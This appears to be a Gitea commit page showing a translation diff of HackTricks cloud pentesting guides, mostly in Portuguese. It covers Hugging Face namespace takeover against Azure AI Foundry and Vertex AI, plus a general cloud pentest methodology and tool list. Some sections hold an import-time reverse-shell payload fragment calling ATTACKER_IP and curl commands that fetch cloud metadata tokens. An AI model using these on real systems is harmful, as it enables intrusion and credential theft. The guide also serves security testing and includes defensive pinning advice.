gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 19:11:41 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

Browse Source
This commit is contained in:
Translator
2025-09-29 22:13:27 +00:00
parent db34e85492
commit 3d0b39a53b
6 changed files with 322 additions and 323 deletions
Download Patch File Download Diff File Expand all files Collapse all files

50
src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
View File

@@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Cenário
## Scenario
- O Azure AI Foundry Model Catalog inclui muitos modelos do Hugging Face (HF) para implantação com um clique.
- Identificadores de modelo HF são Author/ModelName. Se um autor/org HF for deletado, qualquer pessoa pode re-registrar esse autor e publicar um modelo com o mesmo ModelName no caminho legado.
- Pipelines e catálogos que puxam apenas pelo nome (sem pinagem de commit/integridade) irão resolver para repos controlados por atacantes. Quando o Azure implanta o modelo, loader code pode executar no ambiente do endpoint, concedendo RCE com as permissões desse endpoint.
- Azure AI Foundry Model Catalog inclui muitos modelos da Hugging Face (HF) para implantação com um clique.
- Identificadores de modelos HF são Author/ModelName. Se um author/org da HF for deletado, qualquer pessoa pode re-registrar esse author e publicar um modelo com o mesmo ModelName no caminho legado.
- Pipelines e catálogos que puxam apenas pelo nome (sem commit pinning/integrity) irão resolver para repositórios controlados pelo atacante. Quando o Azure implanta o modelo, código do loader pode ser executado no ambiente do endpoint, concedendo RCE com as permissões desse endpoint.
Casos comuns de HF takeover:
- Remoção do proprietário: Caminho antigo retorna 404 até o takeover.
- Transferência de propriedade: Caminho antigo retorna 307 para o novo autor enquanto o autor antigo existe. Se o autor antigo for mais tarde deletado e re-registrado, o redirecionamento quebra e o repo do atacante é servido no caminho legado.
Casos comuns de takeover do HF:
- Ownership deletion: o caminho antigo retorna 404 até o takeover.
- Ownership transfer: o caminho antigo responde 307 para o novo author enquanto o author antigo existe. Se o author antigo for deletado depois e re-registrado, o redirect quebra e o repositório do atacante é servido no caminho legado.
## Identificando Namespaces Reutilizáveis (HF)
## Identifying Reusable Namespaces (HF)
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## End-to-end Attack Flow against Azure AI Foundry
## Fluxo de Ataque de ponta a ponta contra Azure AI Foundry
1) No Model Catalog, encontre modelos HF cujos autores originais foram excluídos ou transferidos (antigo autor removido) no HF.
2) Re-registre o autor abandonado no HF e recrie o ModelName.
3) Publique um repo malicioso com loader code que é executado na importação ou requer trust_remote_code=True.
4) Implemente o legado Author/ModelName a partir do Azure AI Foundry. A plataforma puxa o repo do atacante; o loader é executado dentro do container/VM do endpoint Azure, resultando em RCE com permissões do endpoint.
1) No Catálogo de Modelos, encontre modelos HF cujos autores originais foram excluídos ou transferidos (autor antigo removido) no HF.
2) Re-registre o autor abandonado no HF e recrie o ModelName.
3) Publique um repositório malicioso com código loader que é executado na importação ou requer trust_remote_code=True.
4) Implemente o Author/ModelName legado a partir do Azure AI Foundry. A plataforma puxa o repositório do atacante; o loader executa dentro do container/VM do endpoint Azure, resultando em RCE com permissões do endpoint.
Exemplo de fragmento de payload executado na importação (apenas demonstração):
Fragmento de payload de exemplo executado na importação (apenas para demonstração):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -46,21 +46,21 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notas
- Implantações do AI Foundry que integram o HF normalmente clonam e importam módulos de repo referenciados pela config do modelo (por exemplo, auto_map), o que pode desencadear execução de código. Alguns caminhos exigem trust_remote_code=True.
- O acesso normalmente corresponde às permissões da managed identity/service principal do endpoint. Trate-o como um initial access foothold para acesso a dados e movimento lateral dentro do Azure.
- Implantações do AI Foundry que integram HF tipicamente clonam e importam módulos do repo referenciados pela config do modelo (e.g., auto_map), o que pode disparar code execution. Alguns caminhos exigem trust_remote_code=True.
- O acesso geralmente corresponde às permissões do endpoint’s managed identity/service principal. Treat it as an initial access foothold for data access and lateral movement within Azure.
## Dicas de pós-exploração (Azure Endpoint)
## Post-Exploitation Tips (Azure Endpoint)
- Enumere variáveis de ambiente e MSI endpoints para tokens:
- Enumerate environment variables and MSI endpoints for tokens:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- Verifique o armazenamento montado, os artefatos de modelo e os serviços Azure acessíveis com o token adquirido.
- Considere persistência deixando artefatos de modelo envenenados caso a plataforma re-puxe do HF.
- Verifique o armazenamento montado, os artefatos do modelo e os serviços Azure alcançáveis com o token adquirido.
- Considere persistência deixando artefatos do modelo envenenados caso a plataforma re-puxe do HF.
## Orientação defensiva para usuários do Azure AI Foundry
## Orientações defensivas para usuários do Azure AI Foundry
- Fixe modelos por commit ao carregar do HF:
```python
@@ -68,13 +68,13 @@ from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Espelhar modelos HF verificados em um registro interno confiável e implantar a partir daí.
- Escanear continuamente bases de código e defaults/docstrings/notebooks em busca de Author/ModelName hard-coded que foram excluídos/transferidos; atualizar ou fixar.
- Validar a existência do autor e a proveniência do modelo antes da implantação.
- Escanear continuamente bases de código e defaults/docstrings/notebooks em busca de Author/ModelName hard-coded que foram deletados/transferidos; atualizar ou pin.
- Validar a existência do Author e a proveniência do modelo antes da implantação.
## Heurísticas de Reconhecimento (HTTP)
- Autor excluído: página do autor 404; caminho do modelo legado 404 até a tomada de controle.
- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for depois excluído e re-registrado, o caminho legado serve conteúdo do atacante.
- Author deletado: página do Author 404; caminho legado do modelo 404 até takeover.
- Modelo transferido: caminho legado 307 para o novo Author enquanto o Author antigo existe; se o Author antigo for deletado e re-registrado depois, o caminho legado serve conteúdo do atacante.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```

58
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
View File

@@ -4,20 +4,20 @@
## Cenário
- Vertex AI Model Garden permite a implantação direta de muitos modelos do Hugging Face (HF).
- Identificadores de modelo do HF seguem o formato Author/ModelName. Se um author/org no HF for excluído, o mesmo nome de author pode ser re-registrado por qualquer pessoa. Atacantes podem então criar um repo com o mesmo ModelName no caminho legado.
- Pipelines, SDKs ou catálogos cloud que busquem apenas pelo nome (sem pinning/integrity) irão puxar o repo controlado pelo atacante. Quando o modelo é implantado, o código de loader desse repo pode executar dentro do container do endpoint do Vertex AI, resultando em RCE com as permissões do endpoint.
- Vertex AI Model Garden permite a implantação direta de muitos modelos da Hugging Face (HF).
- Identificadores de modelo HF são Author/ModelName. Se um autor/org no HF for deletado, o mesmo nome de autor pode ser re-registrado por qualquer pessoa. Atacantes podem então criar um repo com o mesmo ModelName no caminho legado.
- Pipelines, SDKs, or cloud catalogs que buscam apenas pelo nome (sem pinning/integrity) puxarão o repo controlado pelo atacante. Quando o modelo é implantado, o loader code desse repo pode executar dentro do Vertex AI endpoint container, resultando em RCE com as permissões do endpoint.
Dois casos comuns de takeover no HF:
- Remoção de propriedade: o caminho antigo retorna 404 até que alguém re-registre o author e publique o mesmo ModelName.
- Transferência de propriedade: o HF emite 307 redirects do Author/ModelName antigo para o novo proprietário. Se o author antigo for depois excluído e re-registrado por um atacante, a cadeia de redirect é quebrada e o repo do atacante passa a servir no caminho legado.
- Remoção do proprietário: o caminho antigo retorna 404 até que alguém re-registre o autor e publique o mesmo ModelName.
- Transferência de propriedade: o HF emite 307 redirects do antigo Author/ModelName para o novo autor. Se o autor antigo for posteriormente deletado e re-registrado por um atacante, a cadeia de redirects é quebrada e o repo do atacante responde no caminho legado.
## Identificando Namespaces Reutilizáveis (HF)
- Author antigo excluído: a página do author retorna 404; o caminho do modelo pode retornar 404 até ocorrer um takeover.
- Modelos transferidos: o caminho do modelo antigo emite 307 para o novo owner enquanto o author antigo existir. Se o author antigo for depois excluído e re-registrado, o caminho legado passará a resolver para o repo do atacante.
- Autor antigo deletado: a página do autor retorna 404; o caminho do modelo pode retornar 404 até o takeover.
- Modelos transferidos: o caminho antigo do modelo emite 307 para o novo proprietário enquanto o autor antigo existir. Se o autor antigo for depois deletado e re-registrado, o caminho legado resolverá para o repo do atacante.
Verificações rápidas com curl:
Checagens rápidas com curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
@@ -32,20 +32,20 @@ curl -I https://huggingface.co/<Author>/<ModelName>
1) Descobrir namespaces de modelos reutilizáveis que o Model Garden lista como deployable:
- Encontrar modelos HF no Vertex AI Model Garden que ainda aparecem como “verified deployable”.
- Verificar no HF se o autor original foi deletado ou se o modelo foi transferido e o autor antigo foi removido depois.
- Verificar no HF se o autor original foi deletado ou se o modelo foi transferido e o autor antigo foi posteriormente removido.
2) Re-registrar o autor deletado no HF e recriar o mesmo ModelName.
3) Publicar um repo malicioso. Incluir código que seja executado no carregamento do modelo. Exemplos que comumente são executados durante o carregamento de modelos do HF:
- Side effects in __init__.py of the repo
- Custom modeling_*.py or processing code referenced by config/auto_map
- Code paths that require trust_remote_code=True in Transformers pipelines
3) Publicar um repositório malicioso. Incluir código que execute no carregamento do modelo. Exemplos que comumente executam durante o model load do HF:
- Efeitos colaterais em __init__.py do repositório
- Arquivos modeling_*.py customizados ou código de processamento referenciado por config/auto_map
- Caminhos de código que requerem trust_remote_code=True em pipelines Transformers
4) A deployment do Vertex AI do legacy Author/ModelName agora puxa o repo do atacante. O loader é executado dentro do container do endpoint do Vertex AI.
4) Uma implantação do Vertex AI para o Author/ModelName legado agora puxa o repo do atacante. O loader é executado dentro do contêiner do endpoint do Vertex AI.
5) O payload estabelece acesso a partir do ambiente do endpoint (RCE) com as permissões do endpoint.
Example payload fragment executed on import (for demonstration only):
Exemplo de fragmento de payload executado na importação (apenas para demonstração):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notas
- Loaders do mundo real variam. Muitas integrações Vertex AI HF clonam e importam módulos do repo referenciados pela config do modelo (por ex., auto_map), o que pode acionar code execution. Alguns usos exigem trust_remote_code=True.
- O endpoint normalmente roda em um container dedicado com escopo limitado, mas é um foothold inicial válido para acesso a dados e lateral movement em GCP.
- Loaders no mundo real variam. Muitas integrações Vertex AI HF clonam e importam repo modules referenciados pelo model’s config (e.g., auto_map), o que pode acionar execução de código. Alguns usos requerem trust_remote_code=True.
- O endpoint tipicamente roda em um container dedicado com escopo limitado, mas é um foothold inicial válido para data access e lateral movement em GCP.
## Post-Exploitation Tips (Vertex AI Endpoint)
Uma vez que code esteja rodando dentro do endpoint container, considere:
Once code is running inside the endpoint container, consider:
- Enumerar environment variables e metadata em busca de credentials/tokens
- Acessar storage anexado ou artefatos do modelo montados
- Interagir com Google APIs via identidade do service account (Document AI, Storage, Pub/Sub, etc.)
- Persistência no artefato do modelo caso a plataforma re-puxe o repo
- Acessar attached storage ou mounted model artifacts
- Interagir com Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistência no model artifact se a plataforma re-pulls o repo
Enumere instance metadata se acessível (dependente do container):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Diretrizes defensivas para usuários do Vertex AI
## Orientações defensivas para usuários do Vertex AI
- Fixar modelos por commit nos HF loaders para evitar substituição silenciosa:
- Fixe os modelos por commit nos HF loaders para evitar substituição silenciosa:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Espelhar modelos HF verificados em um repositório/registry de artefatos interno confiável e implantar a partir daí.
- Escanear continuamente codebases e configs em busca de Author/ModelName hard-coded que foram deletados/transferidos; atualizar para novos namespaces ou fixar por commit.
- No Model Garden, verificar a proveniência do modelo e a existência do autor antes da implantação.
- Espelhe modelos HF verificados em um repositório/registro de artefatos interno confiável e implante a partir dele.
- Faça varreduras contínuas em codebases e configs por Author/ModelName hard-coded que foram deletados/transferidos; atualize para os novos namespaces ou fixe por commit.
- No Model Garden, verifique a proveniência do modelo e a existência do author antes da implantação.
## Heurísticas de Reconhecimento (HTTP)
- Autor deletado: página do autor 404; caminho legado do modelo 404 até a tomada de controle.
- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for deletado e re-registrado posteriormente, o caminho legado passa a servir conteúdo do atacante.
- Deleted author: author page 404; legacy model path 404 until takeover.
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Referências Cruzadas
- Veja a metodologia mais ampla e as notas sobre cadeia de suprimentos:
- Veja a metodologia mais ampla e notas sobre supply-chain:
{{#ref}}
../../pentesting-cloud-methodology.md

75
src/pentesting-cloud/pentesting-cloud-methodology.md
View File

@@ -1,4 +1,4 @@
# Metodologia de Pentesting em Cloud
# Metodologia de Pentesting Cloud
{{#include ../banners/hacktricks-training.md}}
@@ -6,35 +6,35 @@
## Metodologia Básica
Cada cloud tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve checar** ao testar um ambiente cloud:
Cada cloud tem as suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente cloud:
- **Benchmark checks**
- Isso ajudará você a **entender o tamanho** do ambiente e **os serviços usados**
- Também permitirá encontrar algumas **misconfigurações rápidas**, já que você pode executar a maioria desses testes com **ferramentas automatizadas**
- **Services Enumeration**
- Provavelmente você não encontrará muitas mais misconfigurações aqui se realizou corretamente os testes de benchmark, mas pode encontrar algumas que não foram verificadas no teste de benchmark.
- **Verificações de benchmark**
- Isso ajudará você a **entender o tamanho** do ambiente e os **serviços usados**
- Também permitirá encontrar algumas **misconfigurações rápidas**, já que a maioria desses testes pode ser executada com **ferramentas automatizadas**
- **Enumeração de serviços**
- Provavelmente você não encontrará muitas mais misconfigurações aqui se executou corretamente os testes de benchmark, mas pode encontrar algumas que não foram procuradas no teste de benchmark.
- Isso permitirá saber **o que exatamente está sendo usado** no ambiente cloud
- Isso ajudará muito nos próximos passos
- **Check exposed assets**
- Isto pode ser feito durante a seção anterior; você precisa **identificar tudo que potencialmente está exposto** à Internet de alguma forma e como pode ser acessado.
- Aqui estou considerando **infraestrutura exposta manualmente** como instâncias com páginas web ou outras portas expostas, e também **serviços gerenciados da cloud que podem ser configurados** para serem expostos (como DBs ou buckets)
- Então você deve verificar **se esse recurso pode ser exposto ou não** (informação confidencial? vulnerabilidades? misconfigurações no serviço exposto?)
- **Check permissions**
- Aqui você deve **descobrir todas as permissões de cada role/usuário** dentro da cloud e como são usadas
- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não usadas?... A maioria dessas verificações deveria ter sido feita nos testes de benchmark já
- Se o cliente estiver usando OpenID ou SAML ou outra **federação** você pode precisar pedir mais **informações** sobre **como cada role está sendo atribuído** (não é o mesmo que o role admin esteja atribuído a 1 usuário ou a 100)
- Não basta **identificar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços usados, podem ser muito **sensíveis**.
- Além disso, existem maneiras de **privesc** potenciais a explorar abusando permissões. Todas essas coisas devem ser levadas em conta e **o máximo de caminhos de privesc possível** deve ser reportado.
- **Check Integrations**
- É altamente provável que **integrações com outras clouds ou SaaS** estejam sendo usadas dentro do ambiente cloud.
- Para **integrações da cloud que você está auditando** com outra plataforma você deve notificar **quem tem acesso para (ab)usar essa integração** e você deve perguntar **o quão sensível** é a ação que está sendo realizada.\
Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados).
- Para **integrações dentro da cloud que você está auditando** vindas de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
Por exemplo, se um serviço está usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificá-la e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma cloud AWS.
- Isso ajudará bastante nas próximas etapas
- **Verificar ativos expostos**
- Isso pode ser feito durante a seção anterior, você precisa **identificar tudo que está potencialmente exposto** à Internet de alguma forma e como pode ser acessado.
- Aqui estou considerando **infraestrutura manualmente exposta** como instâncias com páginas web ou outras portas expostas, e também outros **serviços gerenciados na cloud que podem ser configurados** para ficarem expostos (como DBs ou buckets)
- Depois você deve verificar **se esse recurso pode ser exposto ou não** (informação confidencial? vulnerabilidades? misconfigurações no serviço exposto?)
- **Verificar permissões**
- Aqui você deve **identificar todas as permissões de cada role/user** dentro da cloud e como são usadas
- Contas com **privilégios excessivos** (controlam tudo)? Chaves geradas não usadas?... A maioria dessas verificações já deveria ter sido feita nos testes de benchmark
- Se o cliente estiver usando OpenID ou SAML ou outra **federation**, você pode precisar pedir mais **informações** sobre **como cada role é atribuído** (não é o mesmo se o role admin é atribuído a 1 usuário ou a 100)
- Não basta **identificar** quais usuários têm permissões **admin** "*:*". Existem muitas **outras permissões** que, dependendo dos serviços usados, podem ser muito **sensíveis**.
- Além disso, existem formas de **privesc** potenciais a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado.
- **Verificar integrações**
- É bem provável que **integrações com outras clouds ou SaaS** estejam sendo usadas dentro do ambiente cloud.
- Para **integrações da cloud que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação realizada.\
Por exemplo, quem pode gravar em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP ao tratar esses dados).
- Para **integrações dentro da cloud que você está auditando** originadas de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
Por exemplo, se um serviço está usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar essa imagem e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma cloud AWS.
## Ferramentas Multi-Cloud
Existem várias ferramentas que podem ser usadas para testar diferentes ambientes cloud. Os passos de instalação e links serão indicados nesta seção.
Existem várias ferramentas que podem ser usadas para testar diferentes ambientes cloud. As etapas de instalação e os links serão indicados nesta seção.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Suporta **AWS, GCP & Azure**. Veja como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Suporta **AWS, GCP & Azure**. Consulte como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
Para verificar **outros insights GCP** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Para verificar **outros insights do GCP** (úteis para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Para verificar código Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
@@ -234,11 +234,11 @@ Mais plugins AWS do Steampipe: [https://github.com/orgs/turbot/repositories?q=aw
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
AWS, GCP, Azure, DigitalOcean.\
Requer python2.7 e parece não estar mantido.
Requer python2.7 e parece não mantido.
### Nessus
Nessus tem um scan _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. São necessárias algumas configurações adicionais no **Azure** para obter um **Client Id**.
Nessus possui uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações adicionais em **Azure** são necessárias para obter um **Client Id**.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização em grafo intuitiva, alimentada por um banco de dados Neo4j.
Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização de grafo intuitiva alimentada por um banco de dados Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização de grafo intuitiva suportada pelo banco de dados Neo4j.
Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura cloud, aplicações SaaS, controles de segurança e mais, em uma visão de grafo intuitiva suportada pelo banco de dados Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -376,11 +376,11 @@ Uma ferramenta para encontrar a infraestrutura de uma empresa (alvo), arquivos e
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis em infraestruturas cloud (atualmente suporta apenas AWS & Azure, com GCP em breve).
- É uma ferramenta de enumeração destinada a complementar pentesting manual.
- Não cria nem modifica nenhum dado dentro do ambiente cloud.
- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura cloud (atualmente suporta apenas AWS & Azure, com GCP em breve).
- É uma ferramenta de enumeração destinada a complementar o pentesting manual.
- Não cria nem modifica quaisquer dados dentro do ambiente cloud.
### More lists of cloud security tools
### Mais listas de ferramentas de segurança cloud
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -412,11 +412,10 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “attack graph” dos recursos em uma Azure subscription. Permite que red teams e pentesters visualizem a superfície de ataque e oportunidades de pivot dentro de um tenant, e supercharges seus defenders para rapidamente se orientar e priorizar o trabalho de incident response.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “attack graph” dos recursos numa subscription do Azure. Permite que red teams e pentesters visualizem a superfície de ataque e oportunidades de pivot dentro de um tenant, e potencializa os seus defenders para rapidamente orientar e priorizar o trabalho de incident response.
### Office365
Você precisa de **Global Admin** ou pelo menos **Global Admin Reader** (mas note que Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via the web application**.
É necessário **Global Admin** ou pelo menos **Global Admin Reader** (mas note que Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns PS modules e podem ser contornadas acessando as funcionalidades **via the web application**.
{{#include ../banners/hacktricks-training.md}}